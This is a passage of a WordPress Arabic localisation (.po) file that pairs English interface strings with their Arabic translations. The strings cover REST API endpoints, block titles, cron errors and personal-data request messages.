msgid "HTML representation of the widget admin form."
msgstr "تمثيل HTML لودجت نموذج المسؤول."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:215
msgid "Invalid widget type."
msgstr "نوع الودجت غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:416
msgid "Class name"
msgstr "اسم الفئة"

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:269
#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:190
#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:485
msgid "Sorry, you are not allowed to manage widgets on this site."
msgstr "عذرًا، غير مسموح لك بإدارة الودجات على هذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:913
msgid "Post ID."
msgstr "معرّف المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:843
msgid "Base64 encoded representation of the instance settings."
msgstr "تمثيل مشفّر بنمط Base64 لنموذج الإعدادات."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:491
msgid "Nested widgets."
msgstr "ودجات متداخلة."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:850
msgid "Source of template"
msgstr "مصدر النموذج"

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:919
msgid "Theme file exists."
msgstr "ملف القالب موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1540
msgid "Sort collection by user attribute."
msgstr "فرز المجموعة حسب خاصية المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:57
#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:77
#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:113
msgid "The widget type id."
msgstr "مُعرف نوع الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:71
msgid "The id of a registered sidebar"
msgstr "المُعرّف للشريط الجانبي المسجّل"

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:840
msgid "Theme identifier for the template."
msgstr "مُعرف القالب (Theme) لـ النموذج (template)."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:906
msgid "Status of template."
msgstr "حالة النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:881
msgid "Title of template."
msgstr "عنوان النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:900
msgid "Description of template."
msgstr "وصف النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:862
msgid "Content of template."
msgstr "محتوى النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:190
msgid "No sidebar exists with that id."
msgstr "لا يوجد شريط جانبي موجود بهذا المعرَّف."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:450
msgid "Extra CSS class to assign to the sidebar in the Widgets interface."
msgstr "فئة CSS Class إضافية لتعيينها إلى الشريط الجانبي في واجهة الودجات."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:826
msgid "ID of template."
msgstr "معرّف النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:832
msgid "Unique slug identifying the template."
msgstr "اسم لطيف (slug) فريد يُحدّد النموذج."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:96
msgid "Whether to force removal of the widget, or move it to the inactive sidebar."
msgstr "ما إذا كان سيتم فرض الإزالة للودجت، أو نقله إلى الشريط الجانبي غير النشط."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:217
#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:316
#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:388
msgid "No widget was found with that id."
msgstr "لم يتم العثور على ودجت بهذا المعرّف."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:544
msgid "Widget type (id_base) is required."
msgstr "نوع الودجت (id_base) مطلوب."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:552
msgid "The provided widget type (id_base) cannot be updated."
msgstr "لا يمكن تحديث نوع الودجت المُقدّم (id_base)."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:675
msgid "The requested widget is invalid."
msgstr "الودجت المطلوب غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:784
msgid "The sidebar to return widgets for."
msgstr "الشريط الجانبي الذي سيتم إرجاع الودجات إليه."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:813
msgid "The type of the widget. Corresponds to ID in widget-types endpoint."
msgstr "نوع الودجت. يتوافق مع المعرّف في نقطة النهاية (endpoint) لأنواع الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:818
msgid "The sidebar the widget belongs to."
msgstr "الشريط الجانبي الذي ينتمي إليه الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:793
msgid "Limit to the specified post id."
msgstr "الحصر على مُعرف المقالة المحدَّدة."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:493
msgid "The template has already been deleted."
msgstr "لقد تم حذف قالب النموذج مسبقاً."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:469
msgid "Templates based on theme files can't be removed."
msgstr "قوالب النماذج المستندة على ملفات القالب لا يمكن إزالتها."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:292
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:321
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:419
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:466
msgid "No templates exist with that id."
msgstr "لا يوجد قالب نموذج موجود بهذا المعرَّف."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:178
msgid "Sorry, you are not allowed to access the templates on this site."
msgstr "عذرًا، غير مسموح لك بالوصول إلى قوالب النماذج على هذا الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:97
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:113
msgid "The id of a template"
msgstr "المُعرّف لقالب نموذج"

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:477
msgid "HTML content to append to the sidebar title when displayed. Default is a closing h2 element."
msgstr "محتوى HTML لإلحاقه بعنوان الشريط الجانبي عند عرضه. الافتراضي هو إغلاق عنصر h2."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:470
msgid "HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element."
msgstr "محتوى HTML قبل عنوان الشريط الجانبي عند عرضه. الافتراضي هو إغلاق عنصر h2."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:397
msgid "Human-readable name identifying the widget type."
msgstr "اسم فريد قابل للقراءة يُحدّد نوع الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:391
msgid "Unique slug identifying the widget type."
msgstr "اسم لطيف (slug) فريد يُحدّد نوع الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:462
msgid "Cannot preview a widget that does not extend WP_Widget."
msgstr "لا يمكن معاينة ودجت لا يقوم بتوسيع WP_Widget."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:463
msgid "HTML content to append to each widget's HTML output when assigned to this sidebar. Default is a closing list item element."
msgstr "محتوى HTML لإلحاقه بمخرجات HTML لكل ودجت عند تعيينه إلى هذا الشريط الجانبي. الافتراضي هو مجال عنصر قائمة الإغلاق."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:456
msgid "HTML content to prepend to each widget's HTML output when assigned to this sidebar. Default is an opening list item element."
msgstr "محتوى HTML ليتبع مخرجات HTML كل ودجت عند تعيينه إلى هذا الشريط الجانبي. الافتراضي هو مجال عنصر قائمة الافتتاح."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:410
msgid "Whether the widget supports multiple instances"
msgstr "ما إذا كان الودجت يدعم حالات (instances) متعددة"

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:86
msgid "Serialized widget form data to encode into instance settings."
msgstr "بيانات نموذج الودجت المسلسل للتشفير في إعدادات البديل (instance)."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:848
msgid "Cryptographic hash of the instance settings."
msgstr "هاش تشفيري (Cryptographic Hash) لنموذج إعدادات المثيل (instance)."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:82
#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:118
msgid "Current instance settings of the widget."
msgstr "إعدادات المثيل (instance) الحالية للودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:837
msgid "Instance settings of the widget, if supported."
msgstr "نموذج إعدادات البديل (instance) للودجت، إذا كان مدعوماً."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:588
msgid "The provided instance is invalid. Must contain raw OR encoded and hash."
msgstr "النموذج المثيل (instance) المُقدّم غير صحيح. يجب أن يحتوي على صف OR مُشفّر وبصمة (Hash)."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:570
msgid "Widget type does not support raw instances."
msgstr "نوع الودجت لا يدعم نماذج (instance) الصف."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:561
msgid "Cannot set instance on a widget that does not extend WP_Widget."
msgstr "لا يمكن تعيين المثيل (instance) على ودجت لا يقوم بتوسيع WP_Widget."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:480
#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:580
msgid "The provided instance is malformed."
msgstr "المثيل (instance) الذي تم تقديمه مُصاغ بشكل خاطئ."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3138
msgid "Whether items must be assigned all or any of the specified terms."
msgstr "ما إذا كانت العناصر يجب أن تحدد جميع أو أي من العناصر المعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:350
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2853
msgid "Sort collection by post attribute."
msgstr "فرز المجموعة حسب خاصية المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:686
msgid "The ID for the author of the revision."
msgstr "المُعرف لناشر المراجعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:102
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:708
msgid "Unique identifier for the revision."
msgstr "مُعرف فريد للمراجعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2513
msgid "The order of the post in relation to other posts."
msgstr "ترتيب المقالة بالعلاقة مع المقالات الأخرى."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2296
msgid "Type of post."
msgstr "نوع المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2389
msgid "The title for the post."
msgstr "عنوان المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:211
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:250
msgid "The pattern title, in human readable format."
msgstr "عنوان النمط، بتنسيق قابل للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2258
msgid "URL to the post."
msgstr "رابط URL للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:217
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:257
msgid "The pattern content."
msgstr "محتوى النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1621
msgid "Sort collection by comment attribute."
msgstr "فرز المجموعة حسب خاصية التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:112
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2252
msgid "Unique identifier for the post."
msgstr "مُعرف فريد للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:327
msgid "Limit results to those matching a keyword ID."
msgstr "حصر النتائج على مطابقة مُعرف كلمة مفتاحية."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:321
msgid "Limit results to those matching a category ID."
msgstr "حصر النتائج على مطابقة مُعرف تصنيف ما."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:287
msgid "The preferred width of the viewport when previewing a pattern, in pixels."
msgstr "العرض المفضل لنافذة العرض عند معاينة نمط، بالبكسل."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:280
msgid "A description of the pattern."
msgstr "وصف النّمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1501
msgid "Type of the comment."
msgstr "نوع التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:74
msgid "Sorry, you are not allowed to browse the local block pattern directory."
msgstr "عذرًا، غير مسموح لك تصفّح دليل أنماط المكوّنات المحلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:243
msgid "The pattern ID."
msgstr "معرَّف النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:264
msgid "The pattern's category slugs."
msgstr "الاسم اللطيف (slugs) لتصنيف النمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:272
msgid "The pattern's keywords."
msgstr "الكلمات المفتاحية للنمط."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1474
msgid "URL to the comment."
msgstr "رابط إلى التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:119
msgid "The ID for the autosave."
msgstr "معرِّف الحفظ التلقائي."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:617
msgid "Block variations."
msgstr "تخطيطات المكوّن."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:628
msgid "A human-readable variation title."
msgstr "عنوان تباين (تخطيط) قابل للقراءة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:633
msgid "A detailed variation description."
msgstr "وصف تفصيلي للتباين (التخطيط)."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:640
msgid "Indicates whether the current variation is the default one."
msgstr "يشير إلى ما إذا كان التباين (التخطيط) الحالي هو الافتراضي. "

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:652
msgid "The list of scopes where the variation is applicable. When not provided, it assumes all available scopes."
msgstr "قائمة النطاقات التي ينطبق عليها (التنوّع/التباين/التخطيط). حينما لا يتم توفيرها، فإنها تقوم باعتماد كل النطاقات المتوفّرة."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:646
msgid "The initial values for attributes."
msgstr "القيم الأولية للخصائص."

#: wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:623
msgid "The unique and machine-readable name."
msgstr "الاسم الفريد والقابل للقراءة آليًا."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:74
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1391
msgid "Unique identifier for the comment."
msgstr "مُعرف فريد للتعليق."

#: wp-includes/post.php:345 wp-includes/js/dist/edit-site.js:5773
#: wp-includes/js/dist/edit-site.js:7492
msgid "Templates"
msgstr "القوالب"

#: wp-includes/post.php:357
msgid "Templates to include in your theme."
msgstr "قوالب/نماذج لتضمينها في قالبك."

#: wp-includes/post.php:340
msgctxt "Template"
msgid "Add New"
msgstr "أضف جديداً"

#: wp-includes/post.php:341
msgid "Add New Template"
msgstr "إضافة قالب جديد"

#: wp-includes/post.php:342
msgid "New Template"
msgstr "قالب جديد"

#: wp-includes/post.php:343
msgid "Edit Template"
msgstr "تحرير القالب"

#: wp-includes/post.php:344
msgid "View Template"
msgstr "عرض القالب"

#: wp-includes/post.php:346
msgid "Search Templates"
msgstr "البحث في القوالب"

#: wp-includes/post.php:347
msgid "Parent Template:"
msgstr "القالب الأب:"

#: wp-includes/post.php:348
msgid "No templates found."
msgstr "لم يتم العثور على قوالب."

#: wp-includes/post.php:349
msgid "No templates found in Trash."
msgstr "لم يتم العثور على قوالب في سلة المُهملات."

#: wp-includes/post.php:350
msgid "Template archives"
msgstr "أرشيف القالب"

#: wp-includes/post.php:351
msgid "Insert into template"
msgstr "إدراج في القالب"

#: wp-includes/post.php:352
msgid "Uploaded to this template"
msgstr "المرفوعة إلى هذا القالب"

#: wp-includes/post.php:353
msgid "Filter templates list"
msgstr "تصّفية قائمة القوالب"

#: wp-includes/post.php:354
msgid "Templates list navigation"
msgstr "تصفّح قائمة القوالب"

#: wp-includes/post.php:355
msgid "Templates list"
msgstr "قائمة القوالب"

#: wp-includes/class-wp-post-type.php:866
msgctxt "navigation link block description"
msgid "A link to a post."
msgstr "رابط إلى مقالة."

#: wp-includes/class-wp-post-type.php:867
msgctxt "navigation link block description"
msgid "A link to a page."
msgstr "رابط إلى صفحة."

#: wp-includes/class-wp-post-type.php:862
msgctxt "navigation link block title"
msgid "Post Link"
msgstr "رابط المقالة"

#: wp-includes/class-wp-post-type.php:863
msgctxt "navigation link block title"
msgid "Page Link"
msgstr "رابط الصفحة"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:45
msgid "Unique identifier for the attachment."
msgstr "مُعرف فريد للمُرفق."

#: wp-includes/rest-api.php:1071
msgid "Cookie check failed"
msgstr "فشل التحقّق من ملف تعريف الارتباط"

#: wp-includes/block-template.php:233
msgid "No matching template found"
msgstr "لم يتم العثور على قوالب متطابقة"

#: wp-includes/block-template.php:101
msgid "No matching template found."
msgstr "لم يتم العثور على قالب متطابق."

#: wp-includes/blocks/site-logo.php:68
msgid "Site logo."
msgstr "شعار الموقع."

#: wp-includes/block-editor.php:41
msgctxt "block category"
msgid "Theme"
msgstr "قالب"

#: wp-includes/block-editor.php:46
msgctxt "block category"
msgid "Embeds"
msgstr "تضمينات"

#: wp-includes/block-editor.php:51
msgctxt "block category"
msgid "Reusable Blocks"
msgstr "مكوّنات قابلة لإعادة الاستخدام"

#: wp-includes/block-editor.php:31
msgctxt "block category"
msgid "Design"
msgstr "تصميم"

#: wp-includes/block-editor.php:36
msgctxt "block category"
msgid "Widgets"
msgstr "ودجات"

#: wp-includes/block-patterns/query-grid-posts.php:9
msgctxt "Block pattern title"
msgid "Grid"
msgstr "شبكة"

#: wp-includes/block-patterns/query-large-title-posts.php:9
msgctxt "Block pattern title"
msgid "Large title"
msgstr "عنوان كبير"

#: wp-includes/block-patterns/query-medium-posts.php:9
msgctxt "Block pattern title"
msgid "Image at left"
msgstr "صورة على اليسار"

#: wp-includes/block-patterns/query-offset-posts.php:9
msgctxt "Block pattern title"
msgid "Offset"
msgstr "إزاحة"

#: wp-includes/block-patterns/query-small-posts.php:9
msgctxt "Block pattern title"
msgid "Small image and title"
msgstr "صورة صغيرة وعنوان"

#: wp-includes/block-patterns/query-standard-posts.php:9
msgctxt "Block pattern title"
msgid "Standard"
msgstr "قياسي"

#. translators: Custom template title in the Site Editor. 1: Post type singular
#. name, 2: Post title.
#. translators: Custom template title in the Site Editor. 1: Taxonomy singular
#. name, 2: Term title.
#: wp-includes/block-template-utils.php:581
#: wp-includes/block-template-utils.php:657
msgid "%1$s: %2$s"
msgstr "%1$s: %2$s"

#: wp-includes/blocks/site-logo.php:42
msgid "(Home link, opens in a new tab)"
msgstr "(رابط الرئيسية، يُفتح في علامة تبويب جديدة)"

#. translators: %s: Template title
#: wp-includes/block-template.php:85
msgid "Empty template: %s"
msgstr "نموذج فارغ: %s"

#: wp-includes/block-patterns/social-links-shared-background-color.php:9
msgctxt "Block pattern title"
msgid "Social links with a shared background color"
msgstr "روابط اجتماعية مع لون خلفية مشترك"

#: wp-includes/block-template-utils.php:708
msgid "No theme is defined for this template."
msgstr "لا يوجد قالب مُعرَّف لهذا النموذج."

#. translators: 1: Block type, 2: Typography supports key, e.g: fontSize,
#. lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key.
#: wp-includes/blocks.php:1218
msgid "Block \"%1$s\" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s."
msgstr "يعلن المكوّن \"%1$s\" عن دعم %2$s في ملف %3$s ضمن %4$s. تم الإعلان الآن عن دعم %2$s ضمن %5$s."

#. translators: Hidden accessibility text. %s: Total number of updates
#. available.
#. translators: %s: Total number of updates available.
#: wp-includes/admin-bar.php:1097 wp-admin/js/updates.js:361
msgid "%s update available"
msgid_plural "%s updates available"
msgstr[0] "%s تحديث متوفر"
msgstr[1] "تحديث واحد (%s) متوفر"
msgstr[2] "تحديثان (%s) متوفرة"
msgstr[3] "%s تحديثات متوفرة"
msgstr[4] "%s تحديث متوفر"
msgstr[5] "%s تحديث متوفر"

#: wp-includes/block-editor.php:21
msgctxt "block category"
msgid "Text"
msgstr "نصّ"

#: wp-includes/block-editor.php:26
msgctxt "block category"
msgid "Media"
msgstr "وسائط"

#: wp-includes/blocks/latest-posts.php:147
#: wp-includes/blocks/latest-posts.php:162
#: wp-includes/js/dist/block-library.js:38286
msgid "This content is password protected."
msgstr "هذا المحتوى محمي بكلمة مرور."

#: wp-includes/https-detection.php:139
msgid "SSL verification failed."
msgstr "فشل التحقق من SSL."

#: wp-includes/https-detection.php:134
msgid "HTTPS request failed."
msgstr "فشل طلب HTTPS."

#. translators: 1: $l10n, 2: wp_add_inline_script()
#: wp-includes/class-wp-scripts.php:498
msgid "The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead."
msgstr "يجب أن يكون المعامل %1$s مصفوفة. لتمرير البيانات العشوائية إلى نصوص (scripts)، استخدم الدالة %2$s بدلًا من ذلك."

#: wp-includes/blocks/tag-cloud/block.json
msgctxt "block title"
msgid "Tag Cloud"
msgstr "سحابة وسوم"

#: wp-includes/blocks/social-link/block.json
msgctxt "block title"
msgid "Social Icon"
msgstr "أيقونة اجتماعية"

#: wp-includes/blocks/social-links/block.json
msgctxt "block title"
msgid "Social Icons"
msgstr "أيقونات اجتماعية"

#: wp-includes/blocks/separator/block.json
msgctxt "block title"
msgid "Separator"
msgstr "فاصل"

#: wp-includes/blocks/spacer/block.json
msgctxt "block title"
msgid "Spacer"
msgstr "فراغ فاصل"

#: wp-includes/blocks/table/block.json
msgctxt "block title"
msgid "Table"
msgstr "جدول"

#: wp-includes/blocks/verse/block.json
msgctxt "block title"
msgid "Verse"
msgstr "آية / بيت شعر"

#: wp-includes/blocks/video/block.json
msgctxt "block title"
msgid "Video"
msgstr "فيديو"

#: wp-includes/blocks/text-columns/block.json
msgctxt "block title"
msgid "Text Columns (deprecated)"
msgstr "أعمدة النص (مُهملة)"

#: wp-includes/blocks/shortcode/block.json
msgctxt "block title"
msgid "Shortcode"
msgstr "كود قصير"

#: wp-includes/blocks/rss/block.json
msgctxt "block title"
msgid "RSS"
msgstr "RSS"

#: wp-includes/blocks/search/block.json
msgctxt "block title"
msgid "Search"
msgstr "بحث"

#: wp-includes/blocks/group/block.json
msgctxt "block title"
msgid "Group"
msgstr "مجموعة"

#: wp-includes/blocks/columns/block.json
msgctxt "block title"
msgid "Columns"
msgstr "أعمدة"

#: wp-includes/blocks/column/block.json
msgctxt "block title"
msgid "Column"
msgstr "عمود"

#: wp-includes/blocks/cover/block.json
msgctxt "block title"
msgid "Cover"
msgstr "غلاف"

#: wp-includes/blocks/file/block.json
msgctxt "block title"
msgid "File"
msgstr "ملف"

#: wp-includes/blocks/html/block.json
msgctxt "block title"
msgid "Custom HTML"
msgstr "HTML مخصص"

#: wp-includes/blocks/media-text/block.json
msgctxt "block title"
msgid "Media & Text"
msgstr "وسائط مع نصّ"

#: wp-includes/blocks/latest-posts/block.json
msgctxt "block title"
msgid "Latest Posts"
msgstr "أحدث المقالات"

#: wp-includes/blocks/latest-comments/block.json
msgctxt "block title"
msgid "Latest Comments"
msgstr "آخر التعليقات"

#: wp-includes/blocks/missing/block.json
msgctxt "block title"
msgid "Unsupported"
msgstr "غير مدعوم"

#: wp-includes/blocks/more/block.json
msgctxt "block title"
msgid "More"
msgstr "المزيد"

#: wp-includes/blocks/nextpage/block.json
msgctxt "block title"
msgid "Page Break"
msgstr "فاصل الصفحة"

#: wp-includes/blocks/preformatted/block.json
msgctxt "block title"
msgid "Preformatted"
msgstr "مهيأ مسبقاً"

#: wp-includes/blocks/buttons/block.json
msgctxt "block title"
msgid "Buttons"
msgstr "أزرار"

#: wp-includes/blocks/calendar/block.json
msgctxt "block title"
msgid "Calendar"
msgstr "تقويم"

#: wp-includes/blocks/pullquote/block.json
msgctxt "block title"
msgid "Pullquote"
msgstr "اقتباس مائل"

#: wp-includes/blocks/block/block.json
msgctxt "block title"
msgid "Reusable block"
msgstr "مكوّن قابل لإعادة الاستخدام"

#: wp-includes/blocks/list/block.json
msgctxt "block title"
msgid "List"
msgstr "قائمة"

#: wp-includes/blocks/code/block.json
msgctxt "block title"
msgid "Code"
msgstr "شفرة خاصة"

#: wp-includes/blocks/image/block.json
msgctxt "block title"
msgid "Image"
msgstr "صورة"

#: wp-includes/blocks/heading/block.json
msgctxt "block title"
msgid "Heading"
msgstr "عنوان"

#: wp-includes/blocks/quote/block.json
msgctxt "block title"
msgid "Quote"
msgstr "اقتباس"

#: wp-includes/blocks/gallery/block.json
msgctxt "block title"
msgid "Gallery"
msgstr "معرض"

#: wp-includes/blocks/archives/block.json
msgctxt "block title"
msgid "Archives"
msgstr "أرشيفات"

#: wp-includes/blocks/audio/block.json
msgctxt "block title"
msgid "Audio"
msgstr "صوت"

#: wp-includes/blocks/button/block.json
msgctxt "block title"
msgid "Button"
msgstr "زر"

#: wp-includes/blocks/paragraph/block.json
msgctxt "block title"
msgid "Paragraph"
msgstr "فقرة"

#: wp-includes/query.php:919
msgid "https://developer.wordpress.org/reference/functions/is_main_query/"
msgstr "https://developer.wordpress.org/reference/functions/is_main_query/"

#: wp-includes/class-wp-taxonomy.php:633
msgid "Filter by category"
msgstr "تصفية حسب التصنيف"

#: wp-includes/user.php:4661 wp-includes/user.php:4847
#: wp-admin/includes/privacy-tools.php:23
#: wp-admin/includes/privacy-tools.php:52
msgid "Invalid personal data request."
msgstr "طلب بيانات شخصية غير صالح."

#: wp-includes/user.php:4851
msgid "This personal data request has expired."
msgstr "انتهت صلاحية طلب البيانات الشخصية هذا."

#: wp-includes/user.php:4855
msgid "The confirmation key is missing from this personal data request."
msgstr "مفتاح التأكيد مفقود من طلب البيانات الشخصية هذا."

#: wp-includes/user.php:4874
msgid "The confirmation key is invalid for this personal data request."
msgstr "مفتاح التأكيد غير صالح لطلب البيانات الشخصية هذا."

#: wp-includes/user.php:4878
msgid "The confirmation key has expired for this personal data request."
msgstr "انتهت صلاحية مفتاح التأكيد لطلب البيانات الشخصية هذا."

#: wp-includes/class-wp-fatal-error-handler.php:202
msgid "Learn more about troubleshooting WordPress."
msgstr "معرفة المزيد حول استكشاف الأخطاء في ووردبريس."

#. translators: Documentation explaining HTTPS and why it should be used.
#: wp-includes/functions.php:8184
msgid "https://wordpress.org/documentation/article/why-should-i-use-https/"
msgstr "https://wordpress.org/documentation/article/why-should-i-use-https/"

#. translators: Documentation about troubleshooting.
#: wp-includes/class-wp-fatal-error-handler.php:201
msgid "https://wordpress.org/documentation/article/faq-troubleshooting/"
msgstr "https://wordpress.org/documentation/article/faq-troubleshooting/"

#. translators: 1: Parameter, 2: Valid values.
#: wp-includes/rest-api.php:2028
msgid "%1$s is not %2$s."
msgstr "%1$s ليس %2$s."

#. translators: 1: Parameter, 2: List of valid values.
#: wp-includes/rest-api.php:2032
msgid "%1$s is not one of %2$l."
msgstr "%1$s ليس واحدًا من %2$l."

#: wp-includes/https-detection.php:150
msgid "It looks like the response did not come from this site."
msgstr "يبدو أن الاستجابة لم تأت من هذا الموقع."

#: wp-includes/class-wp-application-passwords.php:84
msgid "Each application name should be unique."
msgstr "كل اسم تطبيق، يجب أن يكون فريدًا."

#: wp-includes/user.php:4572
msgid "Invalid request status."
msgstr "حالة طلب غير صالح."

#: wp-includes/cron.php:97 wp-includes/cron.php:273
msgid "A plugin prevented the event from being scheduled."
msgstr "هناك إضافة منعت جدولة الحدث."

#: wp-includes/cron.php:184 wp-includes/cron.php:292
msgid "A plugin disallowed this event."
msgstr "هناك إضافة لم تسمح بهذا الحدث."

#: wp-includes/cron.php:45 wp-includes/cron.php:238 wp-includes/cron.php:344
#: wp-includes/cron.php:465
msgid "Event timestamp must be a valid Unix timestamp."
msgstr "يجب أن يكون الطابع الزمني للحدث طابعًا زمنيًا صالحًا لنظام Unix."

#: wp-includes/cron.php:405
msgid "A plugin prevented the event from being rescheduled."
msgstr "هناك إضافة منعت إعادة جدولة الحدث."

#: wp-includes/cron.php:496
msgid "A plugin prevented the event from being unscheduled."
msgstr "هناك إضافة منعت عدم جدولة الحدث."

#: wp-includes/cron.php:576 wp-includes/cron.php:665
msgid "A plugin prevented the hook from being cleared."
msgstr "هناك إضافة منعت الـ hook من المسح."

#: wp-includes/cron.php:1219
msgid "The cron event list could not be saved."
msgstr "لا يمكن حفظ قائمة حدث مهام cron."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1427
msgid "As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead."
msgstr "كنسبة مئوية من الصورة، موضع الـ y لبدء الاقتصاص منه. مُهمل: استخدم `modifiers` بدلاً من ذلك."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:1433
msgid "As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead."
